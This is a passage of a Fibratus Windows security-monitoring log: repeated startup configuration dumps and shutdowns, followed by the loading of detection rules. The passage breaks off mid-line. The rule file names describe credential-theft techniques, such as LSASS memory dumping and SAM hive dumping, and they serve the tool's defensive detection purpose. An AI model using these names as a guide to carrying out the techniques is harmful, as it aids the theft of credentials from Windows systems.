vhost=>/] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ sniff=>false index-name=>fibratus healthcheck=>true servers=>[http://127.0.0.1:9200] timeout=>5s enabled=>false gzip-compression=>false healthcheck-timeout=>5s template-name=>fibratus healthcheck-interval=>10s bulk-workers=>1 flush-period=>1s trace-log=>false]] + pe ............................. [ read-resources=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-files=>false scan-timeout=>10s skip-mmaps=>false fastscan=>true skip-allocs=>false excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-20T15:41:14+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T15:41:16+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T15:42:20+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T15:42:20+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T15:42:20+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T15:42:36+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T15:42:36+01:00 level=info msg=bootstrapping with pid 20996. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T15:42:36+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ enabled=>false use-template=>true content-type=>text/html to=>[] port=>25]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-threadpool=>false enable-mem=>false enable-image=>true enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true max-buffers=>36 enable-vamap=>true min-buffers=>16 enable-handle=>false enable-registry=>true enable-thread=>true flush-interval=>1s enable-audit-api=>true enable-dns=>false stack-enrichment=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-backups=>15 max-size=>100 formatter=>text log-stdout=>true max-age=>0] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] elasticsearch=>[ trace-log=>false flush-period=>1s enabled=>false healthcheck=>true index-name=>fibratus bulk-workers=>1 healthcheck-timeout=>5s gzip-compression=>false healthcheck-interval=>10s template-name=>fibratus servers=>[http://127.0.0.1:9200] timeout=>5s sniff=>false] http=>[ enabled=>false endpoints=>[] tls-insecure-skip-verify=>false method=>POST timeout=>5s serializer=>json enable-gzip=>false] eventlog=>[ enabled=>false level=>info] amqp=>[ durable=>false exchange-type=>topic enabled=>false routing-key=>fibratus delivery-mode=>transient url=>amqp://localhost:5672 exchange=>fibratus passive=>false vhost=>/ tls-insecure-skip-verify=>false timeout=>5s]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-registry=>false skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true skip-files=>false skip-mmaps=>false excluded-procs=>[] excluded-files=>[] enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-20T15:42:37+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T15:42:39+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T15:44:45+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T15:44:46+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T15:44:46+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T15:45:15+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T15:45:15+01:00 level=info msg=bootstrapping with pid 2196. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T15:45:15+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ content-type=>text/html use-template=>true to=>[] port=>25 enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-image=>true enable-net=>true enable-thread=>true max-buffers=>36 enable-handle=>false enable-registry=>true buffer-size=>512 enable-threadpool=>false min-buffers=>16 enable-fileio=>true enable-mem=>false enable-audit-api=>true stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false enable-vamap=>true flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 level=>info max-backups=>15 formatter=>text log-stdout=>true max-age=>0] + output ......................... [ eventlog=>[ enabled=>false level=>info] elasticsearch=>[ gzip-compression=>false sniff=>false healthcheck-timeout=>5s healthcheck-interval=>10s enabled=>false servers=>[http://127.0.0.1:9200] healthcheck=>true flush-period=>1s trace-log=>false timeout=>5s bulk-workers=>1 index-name=>fibratus template-name=>fibratus] http=>[ serializer=>json enable-gzip=>false timeout=>5s method=>POST tls-insecure-skip-verify=>false endpoints=>[] enabled=>false] amqp=>[ enabled=>false exchange=>fibratus vhost=>/ durable=>false routing-key=>fibratus timeout=>5s exchange-type=>topic delivery-mode=>transient url=>amqp://localhost:5672 tls-insecure-skip-verify=>false passive=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +]] + pe ............................. [ read-sections=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false excluded-files=>[] excluded-procs=>[] fastscan=>true skip-registry=>false skip-allocs=>false enabled=>false skip-files=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-20T15:45:15+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T15:45:18+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T15:45:28+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T15:45:28+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T15:45:28+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T15:45:37+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T15:45:37+01:00 level=info msg=bootstrapping with pid 21844. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T15:45:37+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true enabled=>false port=>25 content-type=>text/html to=>[]] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-registry=>true enable-mem=>false enable-thread=>true enable-image=>true min-buffers=>16 flush-interval=>1s buffer-size=>512 enable-vamap=>true enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true enable-fileio=>true stack-enrichment=>true max-buffers=>36 enable-handle=>false enable-dns=>false enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-size=>100 max-backups=>15 log-stdout=>true formatter=>text max-age=>0] + output ......................... [ amqp=>[ durable=>false timeout=>5s tls-insecure-skip-verify=>false exchange-type=>topic routing-key=>fibratus url=>amqp://localhost:5672 vhost=>/ passive=>false exchange=>fibratus delivery-mode=>transient enabled=>false] eventlog=>[ enabled=>false level=>info] http=>[ timeout=>5s method=>POST enable-gzip=>false tls-insecure-skip-verify=>false enabled=>false serializer=>json endpoints=>[]] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] elasticsearch=>[ servers=>[http://127.0.0.1:9200] template-name=>fibratus healthcheck-interval=>10s gzip-compression=>false index-name=>fibratus timeout=>5s healthcheck=>true healthcheck-timeout=>5s sniff=>false bulk-workers=>1 trace-log=>false enabled=>false flush-period=>1s]] + pe ............................. [ read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-files=>false skip-allocs=>false excluded-procs=>[] scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true enabled=>false skip-mmaps=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-20T15:45:38+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T15:45:40+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T15:47:08+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T15:47:08+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T15:47:09+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T15:52:55+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T15:52:55+01:00 level=info msg=bootstrapping with pid 6836. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T15:52:55+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ use-template=>true port=>25 to=>[] enabled=>false content-type=>text/html] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-mem=>false enable-vamap=>true enable-fileio=>true max-buffers=>36 enable-net=>true enable-handle=>false enable-thread=>true min-buffers=>16 enable-threadpool=>false enable-dns=>false buffer-size=>512 flush-interval=>1s enable-audit-api=>true enable-registry=>true enable-image=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-size=>100 log-stdout=>true max-age=>0 level=>info formatter=>text] + output ......................... [ elasticsearch=>[ gzip-compression=>false template-name=>fibratus index-name=>fibratus healthcheck=>true servers=>[http://127.0.0.1:9200] enabled=>false bulk-workers=>1 trace-log=>false healthcheck-interval=>10s flush-period=>1s sniff=>false healthcheck-timeout=>5s timeout=>5s] amqp=>[ delivery-mode=>transient vhost=>/ durable=>false tls-insecure-skip-verify=>false exchange-type=>topic enabled=>false passive=>false routing-key=>fibratus timeout=>5s exchange=>fibratus url=>amqp://localhost:5672] http=>[ enable-gzip=>false enabled=>false method=>POST serializer=>json timeout=>5s endpoints=>[] tls-insecure-skip-verify=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-registry=>false fastscan=>true skip-allocs=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false skip-mmaps=>false excluded-files=>[] excluded-procs=>[] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-20T15:52:55+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T15:52:58+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T15:53:03+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T15:53:04+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T15:53:04+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T15:54:17+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T15:54:17+01:00 level=info msg=bootstrapping with pid 8520. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T15:54:17+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] mail=>[ port=>25 content-type=>text/html to=>[] use-template=>true enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-fileio=>true enable-threadpool=>false buffer-size=>512 enable-audit-api=>true stack-enrichment=>true enable-mem=>false enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true enable-vamap=>true flush-interval=>1s max-buffers=>36 enable-dns=>false min-buffers=>16 enable-thread=>true enable-registry=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-size=>100 max-age=>0 level=>info max-backups=>15 formatter=>text] + output ......................... [ http=>[ tls-insecure-skip-verify=>false serializer=>json enable-gzip=>false timeout=>5s endpoints=>[] method=>POST enabled=>false] amqp=>[ routing-key=>fibratus vhost=>/ durable=>false delivery-mode=>transient exchange=>fibratus enabled=>false url=>amqp://localhost:5672 passive=>false tls-insecure-skip-verify=>false timeout=>5s exchange-type=>topic] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] elasticsearch=>[ timeout=>5s bulk-workers=>1 flush-period=>1s sniff=>false healthcheck=>true servers=>[http://127.0.0.1:9200] index-name=>fibratus enabled=>false healthcheck-interval=>10s healthcheck-timeout=>5s trace-log=>false template-name=>fibratus gzip-compression=>false]] + pe ............................. [ read-resources=>false read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] skip-files=>false excluded-procs=>[] fastscan=>true skip-registry=>false skip-mmaps=>false enabled=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-20T15:54:18+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T15:54:20+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T15:54:37+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T15:54:37+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T15:54:37+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T15:54:44+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T15:54:44+01:00 level=info msg=bootstrapping with pid 12760. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T15:54:44+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] mail=>[ to=>[] use-template=>true enabled=>false port=>25 content-type=>text/html] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ min-buffers=>16 flush-interval=>1s enable-dns=>false enable-vamap=>true max-buffers=>36 enable-image=>true enable-net=>true enable-handle=>false stack-enrichment=>true enable-threadpool=>false buffer-size=>512 enable-registry=>true enable-audit-api=>true enable-thread=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>false enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info formatter=>text max-backups=>15 max-age=>0 max-size=>100 log-stdout=>true] + output ......................... [ elasticsearch=>[ healthcheck=>true timeout=>5s servers=>[http://127.0.0.1:9200] enabled=>false index-name=>fibratus healthcheck-timeout=>5s trace-log=>false healthcheck-interval=>10s gzip-compression=>false bulk-workers=>1 flush-period=>1s template-name=>fibratus sniff=>false] amqp=>[ url=>amqp://localhost:5672 durable=>false passive=>false exchange-type=>topic exchange=>fibratus tls-insecure-skip-verify=>false enabled=>false vhost=>/ delivery-mode=>transient timeout=>5s routing-key=>fibratus] http=>[ serializer=>json method=>POST endpoints=>[] enabled=>false enable-gzip=>false tls-insecure-skip-verify=>false timeout=>5s] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty]] + pe ............................. [ read-sections=>false read-resources=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ enabled=>false skip-files=>false skip-mmaps=>false excluded-files=>[] fastscan=>true skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] scan-timeout=>10s skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-20T15:54:44+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T15:54:47+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T15:56:16+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T15:56:16+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T15:56:17+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T15:56:41+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T15:56:41+01:00 level=info msg=bootstrapping with pid 20364. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T15:56:41+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ content-type=>text/html port=>25 enabled=>false use-template=>true to=>[]] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ min-buffers=>16 stack-enrichment=>true enable-image=>true enable-registry=>true enable-fileio=>true enable-handle=>false enable-vamap=>true flush-interval=>1s enable-thread=>true enable-dns=>false enable-audit-api=>true max-buffers=>36 enable-mem=>false enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] buffer-size=>512 enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-age=>0 log-stdout=>true max-backups=>15 formatter=>text max-size=>100] + output ......................... [ amqp=>[ url=>amqp://localhost:5672 passive=>false delivery-mode=>transient exchange-type=>topic vhost=>/ exchange=>fibratus timeout=>5s tls-insecure-skip-verify=>false routing-key=>fibratus durable=>false enabled=>false] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ sniff=>false servers=>[http://127.0.0.1:9200] timeout=>5s healthcheck-timeout=>5s flush-period=>1s gzip-compression=>false template-name=>fibratus index-name=>fibratus healthcheck=>true enabled=>false healthcheck-interval=>10s trace-log=>false bulk-workers=>1] http=>[ enable-gzip=>false enabled=>false method=>POST endpoints=>[] tls-insecure-skip-verify=>false timeout=>5s serializer=>json] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty]] + pe ............................. [ read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-registry=>false fastscan=>true skip-allocs=>false skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false enabled=>false excluded-procs=>[] scan-timeout=>10s excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-20T15:56:41+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T15:56:44+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T16:09:13+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T16:09:13+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T16:09:13+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T16:16:22+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from 